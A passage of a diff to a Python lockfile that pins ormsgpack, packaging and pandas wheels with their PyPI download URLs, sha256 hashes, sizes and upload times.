"https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pandas" +version = "2.3.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "numpy", version = "2.4.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "python-dateutil" }, + { name = "pytz" }, + { name = "tzdata" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/33/01/d40b85317f86cf08d853a4f495195c73815fdf205eef3993821720274518/pandas-2.3.3.tar.gz", hash = "sha256:e05e1af93b977f7eafa636d043f9f94c7ee3ac81af99c13508215942e64c993b", size = 4495223, upload-time = "2025-09-29T23:34:51.853Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/f7/f425a00df4fcc22b292c6895c6831c0c8ae1d9fac1e024d16f98a9ce8749/pandas-2.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:376c6446ae31770764215a6c937f72d917f214b43560603cd60da6408f183b6c", size = 11555763, upload-time = "2025-09-29T23:16:53.287Z" }, + { url = "https://files.pythonhosted.org/packages/13/4f/66d99628ff8ce7857aca52fed8f0066ce209f96be2fede6cef9f84e8d04f/pandas-2.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e19d192383eab2f4ceb30b412b22ea30690c9e618f78870357ae1d682912015a", size = 10801217, upload-time = "2025-09-29T23:17:04.522Z" }, + { url = "https://files.pythonhosted.org/packages/1d/03/3fc4a529a7710f890a239cc496fc6d50ad4a0995657dccc1d64695adb9f4/pandas-2.3.3-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5caf26f64126b6c7aec964f74266f435afef1c1b13da3b0636c7518a1fa3e2b1", size = 12148791, upload-time = "2025-09-29T23:17:18.444Z" }, + { url = "https://files.pythonhosted.org/packages/40/a8/4dac1f8f8235e5d25b9955d02ff6f29396191d4e665d71122c3722ca83c5/pandas-2.3.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dd7478f1463441ae4ca7308a70e90b33470fa593429f9d4c578dd00d1fa78838", size = 12769373, upload-time = "2025-09-29T23:17:35.846Z" }, + { url = "https://files.pythonhosted.org/packages/df/91/82cc5169b6b25440a7fc0ef3a694582418d875c8e3ebf796a6d6470aa578/pandas-2.3.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:4793891684806ae50d1288c9bae9330293ab4e083ccd1c5e383c34549c6e4250", size = 13200444, upload-time = "2025-09-29T23:17:49.341Z" }, + { url = "https://files.pythonhosted.org/packages/10/ae/89b3283800ab58f7af2952704078555fa60c807fff764395bb57ea0b0dbd/pandas-2.3.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:28083c648d9a99a5dd035ec125d42439c6c1c525098c58af0fc38dd1a7a1b3d4", size = 13858459, upload-time = "2025-09-29T23:18:03.722Z" }, + { url = "https://files.pythonhosted.org/packages/85/72/530900610650f54a35a19476eca5104f38555afccda1aa11a92ee14cb21d/pandas-2.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:503cf027cf9940d2ceaa1a93cfb5f8c8c7e6e90720a2850378f0b3f3b1e06826", size = 11346086, upload-time = "2025-09-29T23:18:18.505Z" }, + { url = "https://files.pythonhosted.org/packages/c1/fa/7ac648108144a095b4fb6aa3de1954689f7af60a14cf25583f4960ecb878/pandas-2.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:602b8615ebcc4a0c1751e71840428ddebeb142ec02c786e8ad6b1ce3c8dec523", size = 11578790, upload-time = "2025-09-29T23:18:30.065Z" }, + { url = "https://files.pythonhosted.org/packages/9b/35/74442388c6cf008882d4d4bdfc4109be87e9b8b7ccd097ad1e7f006e2e95/pandas-2.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8fe25fc7b623b0ef6b5009149627e34d2a4657e880948ec3c840e9402e5c1b45", size = 10833831, upload-time = "2025-09-29T23:38:56.071Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e4/de154cbfeee13383ad58d23017da99390b91d73f8c11856f2095e813201b/pandas-2.3.3-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b468d3dad6ff947df92dcb32ede5b7bd41a9b3cceef0a30ed925f6d01fb8fa66", size = 12199267, upload-time = "2025-09-29T23:18:41.627Z" }, + { url = "https://files.pythonhosted.org/packages/bf/c9/63f8d545568d9ab91476b1818b4741f521646cbdd151c6efebf40d6de6f7/pandas-2.3.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b98560e98cb334799c0b07ca7967ac361a47326e9b4e5a7dfb5ab2b1c9d35a1b", size = 12789281, upload-time = "2025-09-29T23:18:56.834Z" }, + { url = "https://files.pythonhosted.org/packages/f2/00/a5ac8c7a0e67fd1a6059e40aa08fa1c52cc00709077d2300e210c3ce0322/pandas-2.3.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37b5848ba49824e5c30bedb9c830ab9b7751fd049bc7914533e01c65f79791", size = 13240453, upload-time = "2025-09-29T23:19:09.247Z" }, + { url = "https://files.pythonhosted.org/packages/27/4d/5c23a5bc7bd209231618dd9e606ce076272c9bc4f12023a70e03a86b4067/pandas-2.3.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:db4301b2d1f926ae677a751eb2bd0e8c5f5319c9cb3f88b0becbbb0b07b34151", size = 13890361, upload-time = "2025-09-29T23:19:25.342Z" }, + { url = "https://files.pythonhosted.org/packages/8e/59/712db1d7040520de7a4965df15b774348980e6df45c129b8c64d0dbe74ef/pandas-2.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:f086f6fe114e19d92014a1966f43a3e62285109afe874f067f5abbdcbb10e59c", size = 11348702, upload-time = "2025-09-29T23:19:38.296Z" }, + { url = "https://files.pythonhosted.org/packages/9c/fb/231d89e8637c808b997d172b18e9d4a4bc7bf31296196c260526055d1ea0/pandas-2.3.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d21f6d74eb1725c2efaa71a2bfc661a0689579b58e9c0ca58a739ff0b002b53", size = 11597846, upload-time = "2025-09-29T23:19:48.856Z" }, + { url = "https://files.pythonhosted.org/packages/5c/bd/bf8064d9cfa214294356c2d6702b716d3cf3bb24be59287a6a21e24cae6b/pandas-2.3.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3fd2f887589c7aa868e02632612ba39acb0b8948faf5cc58f0850e165bd46f35", size = 10729618, upload-time = "2025-09-29T23:39:08.659Z" }, + { url = "https://files.pythonhosted.org/packages/57/56/cf2dbe1a3f5271370669475ead12ce77c61726ffd19a35546e31aa8edf4e/pandas-2.3.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ecaf1e12bdc03c86ad4a7ea848d66c685cb6851d807a26aa245ca3d2017a1908", size = 11737212, upload-time = "2025-09-29T23:19:59.765Z" }, + { url = "https://files.pythonhosted.org/packages/e5/63/cd7d615331b328e287d8233ba9fdf191a9c2d11b6af0c7a59cfcec23de68/pandas-2.3.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b3d11d2fda7eb164ef27ffc14b4fcab16a80e1ce67e9f57e19ec0afaf715ba89", size = 12362693, upload-time = "2025-09-29T23:20:14.098Z" }, + { url = "https://files.pythonhosted.org/packages/a6/de/8b1895b107277d52f2b42d3a6806e69cfef0d5cf1d0ba343470b9d8e0a04/pandas-2.3.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a68e15f780eddf2b07d242e17a04aa187a7ee12b40b930bfdd78070556550e98", size = 12771002, upload-time = "2025-09-29T23:20:26.76Z" }, + { url = "https://files.pythonhosted.org/packages/87/21/84072af3187a677c5893b170ba2c8fbe450a6ff911234916da889b698220/pandas-2.3.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:371a4ab48e950033bcf52b6527eccb564f52dc826c02afd9a1bc0ab731bba084", size = 13450971, upload-time = "2025-09-29T23:20:41.344Z" }, + { url = "https://files.pythonhosted.org/packages/86/41/585a168330ff063014880a80d744219dbf1dd7a1c706e75ab3425a987384/pandas-2.3.3-cp312-cp312-win_amd64.whl", hash = "sha256:a16dcec078a01eeef8ee61bf64074b4e524a2a3f4b3be9326420cabe59c4778b", size = 10992722, upload-time = "2025-09-29T23:20:54.139Z" }, + { url = "https://files.pythonhosted.org/packages/cd/4b/18b035ee18f97c1040d94debd8f2e737000ad70ccc8f5513f4eefad75f4b/pandas-2.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:56851a737e3470de7fa88e6131f41281ed440d29a9268dcbf0002da5ac366713", size = 11544671, upload-time = "2025-09-29T23:21:05.024Z" }, + { url = "https://files.pythonhosted.org/packages/31/94/72fac03573102779920099bcac1c3b05975c2cb5f01eac609faf34bed1ca/pandas-2.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bdcd9d1167f4885211e401b3036c0c8d9e274eee67ea8d0758a256d60704cfe8", size = 10680807, upload-time = "2025-09-29T23:21:15.979Z" }, + { url = "https://files.pythonhosted.org/packages/16/87/9472cf4a487d848476865321de18cc8c920b8cab98453ab79dbbc98db63a/pandas-2.3.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e32e7cc9af0f1cc15548288a51a3b681cc2a219faa838e995f7dc53dbab1062d", size = 11709872, upload-time = "2025-09-29T23:21:27.165Z" }, + { url = "https://files.pythonhosted.org/packages/15/07/284f757f63f8a8d69ed4472bfd85122bd086e637bf4ed09de572d575a693/pandas-2.3.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:318d77e0e42a628c04dc56bcef4b40de67918f7041c2b061af1da41dcff670ac", size = 12306371, upload-time = "2025-09-29T23:21:40.532Z" }, + { url = "https://files.pythonhosted.org/packages/33/81/a3afc88fca4aa925804a27d2676d22dcd2031c2ebe08aabd0ae55b9ff282/pandas-2.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4e0a175408804d566144e170d0476b15d78458795bb18f1304fb94160cabf40c", size = 12765333, upload-time = "2025-09-29T23:21:55.77Z" }, + { url = "https://files.pythonhosted.org/packages/8d/0f/b4d4ae743a83742f1153464cf1a8ecfafc3ac59722a0b5c8602310cb7158/pandas-2.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:93c2d9ab0fc11822b5eece72ec9587e172f63cff87c00b062f6e37448ced4493", size = 13418120, upload-time = "2025-09-29T23:22:10.109Z" }, + { url = "https://files.pythonhosted.org/packages/4f/c7/e54682c96a895d0c808453269e0b5928a07a127a15704fedb643e9b0a4c8/pandas-2.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:f8bfc0e12dc78f777f323f55c58649591b2cd0c43534e8355c51d3fede5f4dee", size = 10993991, upload-time = "2025-09-29T23:25:04.889Z" }, + { url = "https://files.pythonhosted.org/packages/f9/ca/3f8d4f49740799189e1395812f3bf23b5e8fc7c190827d55a610da72ce55/pandas-2.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:75ea25f9529fdec2d2e93a42c523962261e567d250b0013b16210e1d40d7c2e5", size = 12048227, upload-time = "2025-09-29T23:22:24.343Z" }, + { url = "https://files.pythonhosted.org/packages/0e/5a/f43efec3e8c0cc92c4663ccad372dbdff72b60bdb56b2749f04aa1d07d7e/pandas-2.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:74ecdf1d301e812db96a465a525952f4dde225fdb6d8e5a521d47e1f42041e21", size = 11411056, upload-time = "2025-09-29T23:22:37.762Z" }, + { url = "https://files.pythonhosted.org/packages/46/b1/85331edfc591208c9d1a63a06baa67b21d332e63b7a591a5ba42a10bb507/pandas-2.3.3-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6435cb949cb34ec11cc9860246ccb2fdc9ecd742c12d3304989017d53f039a78", size = 11645189, upload-time = "2025-09-29T23:22:51.688Z" }, + { url = "https://files.pythonhosted.org/packages/44/23/78d645adc35d94d1ac4f2a3c4112ab6f5b8999f4898b8cdf01252f8df4a9/pandas-2.3.3-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:900f47d8f20860de523a1ac881c4c36d65efcb2eb850e6948140fa781736e110", size = 12121912, upload-time = "2025-09-29T23:23:05.042Z" }, + { url = "https://files.pythonhosted.org/packages/53/da/d10013df5e6aaef6b425aa0c32e1fc1f3e431e4bcabd420517dceadce354/pandas-2.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a45c765238e2ed7d7c608fc5bc4a6f88b642f2f01e70c0c23d2224dd21829d86", size = 12712160, upload-time = "2025-09-29T23:23:28.57Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/e756653095a083d8a37cbd816cb87148debcfcd920129b25f99dd8d04271/pandas-2.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c4fc4c21971a1a9f4bdb4c73978c7f7256caa3e62b323f70d6cb80db583350bc", size = 13199233, upload-time = "2025-09-29T23:24:24.876Z" }, + { url = "https://files.pythonhosted.org/packages/04/fd/74903979833db8390b73b3a8a7d30d146d710bd32703724dd9083950386f/pandas-2.3.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ee15f284898e7b246df8087fc82b87b01686f98ee67d85a17b7ab44143a3a9a0", size = 11540635, upload-time = "2025-09-29T23:25:52.486Z" }, + { url = "https://files.pythonhosted.org/packages/21/00/266d6b357ad5e6d3ad55093a7e8efc7dd245f5a842b584db9f30b0f0a287/pandas-2.3.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1611aedd912e1ff81ff41c745822980c49ce4a7907537be8692c8dbc31924593", size = 10759079, upload-time = "2025-09-29T23:26:33.204Z" }, + { url = "https://files.pythonhosted.org/packages/ca/05/d01ef80a7a3a12b2f8bbf16daba1e17c98a2f039cbc8e2f77a2c5a63d382/pandas-2.3.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6d2cefc361461662ac48810cb14365a365ce864afe85ef1f447ff5a1e99ea81c", size = 11814049, upload-time = "2025-09-29T23:27:15.384Z" }, + { url = "https://files.pythonhosted.org/packages/15/b2/0e62f78c0c5ba7e3d2c5945a82456f4fac76c480940f805e0b97fcbc2f65/pandas-2.3.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ee67acbbf05014ea6c763beb097e03cd629961c8a632075eeb34247120abcb4b", size = 12332638, upload-time = "2025-09-29T23:27:51.625Z" }, + { url = "https://files.pythonhosted.org/packages/c5/33/dd70400631b62b9b29c3c93d2feee1d0964dc2bae2e5ad7a6c73a7f25325/pandas-2.3.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c46467899aaa4da076d5abc11084634e2d197e9460643dd455ac3db5856b24d6", size = 12886834, upload-time = "2025-09-29T23:28:21.289Z" }, + { url = "https://files.pythonhosted.org/packages/d3/18/b5d48f55821228d0d2692b34fd5034bb185e854bdb592e9c640f6290e012/pandas-2.3.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6253c72c6a1d990a410bc7de641d34053364ef8bcd3126f7e7450125887dffe3", size = 13409925, upload-time = "2025-09-29T23:28:58.261Z" }, + { url = "https://files.pythonhosted.org/packages/a6/3d/124ac75fcd0ecc09b8fdccb0246ef65e35b012030defb0e0eba2cbbbe948/pandas-2.3.3-cp314-cp314-win_amd64.whl", hash = "sha256:1b07204a219b3b7350abaae088f451860223a52cfb8a6c53358e7948735158e5", size = 11109071, upload-time = "2025-09-29T23:32:27.484Z" }, + { url = "https://files.pythonhosted.org/packages/89/9c/0e21c895c38a157e0faa1fb64587a9226d6dd46452cac4532d80c3c4a244/pandas-2.3.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2462b1a365b6109d275250baaae7b760fd25c726aaca0054649286bcfbb3e8ec", size = 12048504, upload-time = "2025-09-29T23:29:31.47Z" }, + { url = "https://files.pythonhosted.org/packages/d7/82/b69a1c95df796858777b68fbe6a81d37443a33319761d7c652ce77797475/pandas-2.3.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0242fe9a49aa8b4d78a4fa03acb397a58833ef6199e9aa40a95f027bb3a1b6e7", size = 11410702, upload-time = "2025-09-29T23:29:54.591Z" }, + { url = "https://files.pythonhosted.org/packages/f9/88/702bde3ba0a94b8c73a0181e05144b10f13f29ebfc2150c3a79062a8195d/pandas-2.3.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a21d830e78df0a515db2b3d2f5570610f5e6bd2e27749770e8bb7b524b89b450", size = 11634535, upload-time = "2025-09-29T23:30:21.003Z" }, + { url = "https://files.pythonhosted.org/packages/a4/1e/1bac1a839d12e6a82ec6cb40cda2edde64a2013a66963293696bbf31fbbb/pandas-2.3.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = 